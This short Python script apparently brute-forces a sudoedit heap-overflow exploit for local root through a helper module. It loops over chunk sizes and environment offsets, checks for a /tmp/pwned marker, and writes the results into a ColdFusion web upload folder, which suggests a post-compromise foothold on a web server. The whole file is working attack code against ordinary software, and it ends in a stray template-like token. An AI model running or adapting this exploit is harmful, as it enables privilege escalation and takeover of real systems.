import bs_mailer, os
bs_mailer.has_tailq=False; bs_mailer.has_file=False; bs_mailer.MATCH_ALL=279; bs_mailer.DEFAULTS_CMND=268
bs_mailer.STACK_ADDR_PAGE=0x7fffffdfefda
bs_mailer.ENV_STACK_SIZE_MB = 2
res=[]
for cs in [0x1150,0x1200,0x1400,0x1800,0x2000,0x3000,0x4000,0x5000,0x6000,0x7000,0x8000]:
    for off in [0x0,0x10,0x20,0x30,0x40,0x60,0x80,0xa0,0xc0,0x100,0x200,0x400]:
        argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cs-0x10)+b"\\",None]
        env=bs_mailer.create_env(off)
        ec,err = bs_mailer.spawn(bs_mailer.SUDO_PATH, argv, env)
        res.append('c%x_o%x:%d'%(cs,off,ec))
        if os.path.exists('/tmp/pwned'):
            res.append('PWNED@c%x_o%x'%(cs,off)); break
    if os.path.exists('/tmp/pwned'): break
open('/opt/coldfusion8/wwwroot/userfiles/file/scan.txt','w').write('pwned=%s %s\n'%(os.path.exists('/tmp/pwned'),','.join(res)))
</｜DSML｜